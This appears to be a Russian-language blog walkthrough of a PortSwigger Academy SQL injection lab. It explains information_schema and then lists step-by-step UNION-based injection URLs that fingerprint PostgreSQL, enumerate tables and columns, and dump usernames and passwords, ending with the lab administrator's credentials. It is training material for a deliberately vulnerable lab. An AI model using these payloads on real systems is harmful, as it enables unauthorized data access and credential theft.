Сегодня на очереди обзор 9 лабораторной работы по SQL-инъекциям с PortSwigger Academy - SQL injection attack, listing the database contents on non-Oracle databases. В ней мы поймем как определять какие таблицы есть в БД, и как можно рыскать внутри них
Душная теория, которая не может быть не душной
Большинство типов баз данных (за заметным исключением Oracle) имеют набор представлений (фича, а не бага), называемых информационной схемой, которые предоставляют информацию о базе данных.
Вы можете запросить information_schema.tables, чтобы получить список таблиц в базе данных:
SELECT * FROM information_schema.tables
Это вернет следующий вывод
Эти выходные данные указывают на наличие трех таблиц с именами «Products», «Users» и «Feedback».
Затем вы можете запросить information_schema.columns, чтобы получить список столбцов в отдельных таблицах:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
И этот запрос выведет следующее:
Таким образом получаем столбцы таблицы, и тип данных, соответвующий данному столбцу
Постановка задачи
Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Результаты запроса возвращаются в ответе приложения, поэтому вы можете использовать атаку UNION для извлечения данных из других таблиц.
Приложение имеет функцию входа в систему, а база данных содержит таблицу с именами пользователей и паролями. Вам нужно определить имя этой таблицы и содержащихся в ней столбцов, а затем получить содержимое таблицы, чтобы получить имя пользователя и пароль всех пользователей.
Чтобы выполнить лабораторную работу, войдите в систему как administrator.
Решение лабораторной работы
На данный момент мы не знаем БД, с которой будем играться, и необходимо методом тыка научного подхода перебрать все варианты комментирования. Как же нам повезло, и с первого раза мы нашли нужный
https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' --
Далее нам небходимо понимать, с какой БД мы работаем. Пожалуй пропустим пруфы со скринами, чтобы статья была проще для чтения и восприятия
Узнали количество столбцов
https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT NULL, NULL--
Узнали какие из них имеют текстовый вид
https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT 'a', 'a'--
Теперь согласно читлисту проверим все подходящие БД, и посмотрим, что в итоге нам подошло
https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT version(), 'a'--
Делаем вывод, что имеем дело с PostgreSQL
Согласно устройству PostgreSQL в таблице information_schema.tables есть столбец table_name, по которому из душной теории, мы и будем в будущем фильтровать нужные таблицы. Применяем инъекцию
https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT table_name, NULL FROM information_schema.tables--
И видим долгий длинный список таблиц, заведенных в БД. Просматриваем все имена, и находим подозрительную таблицу users_wwiohe, на которую и обратим наше внимание
https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_wwiohe'--
И получаем следующий вывод username_cvncnb password_ribttg
На этом моменте у нас уже нет смысла использовать information_schema.columns если мы и так знаем таблицу, в которую мы хотим проникнуть, так что исключим ее из наших запросов. Это можно было еще сделать на прошлом этапе, но ничего страшного
https://0ad20031040234b2c1dc3c7100af00e6.web-security-academy.net/filter?category=' UNION SELECT username_cvncnb, password_ribttg FROM users_wwiohe--
И получаем креды админа, под которым и будем авторизоваться
administrator - ytigtlqftqb8eokmt67d
И получаем поздравления о пройденной лабой! Молодчина :)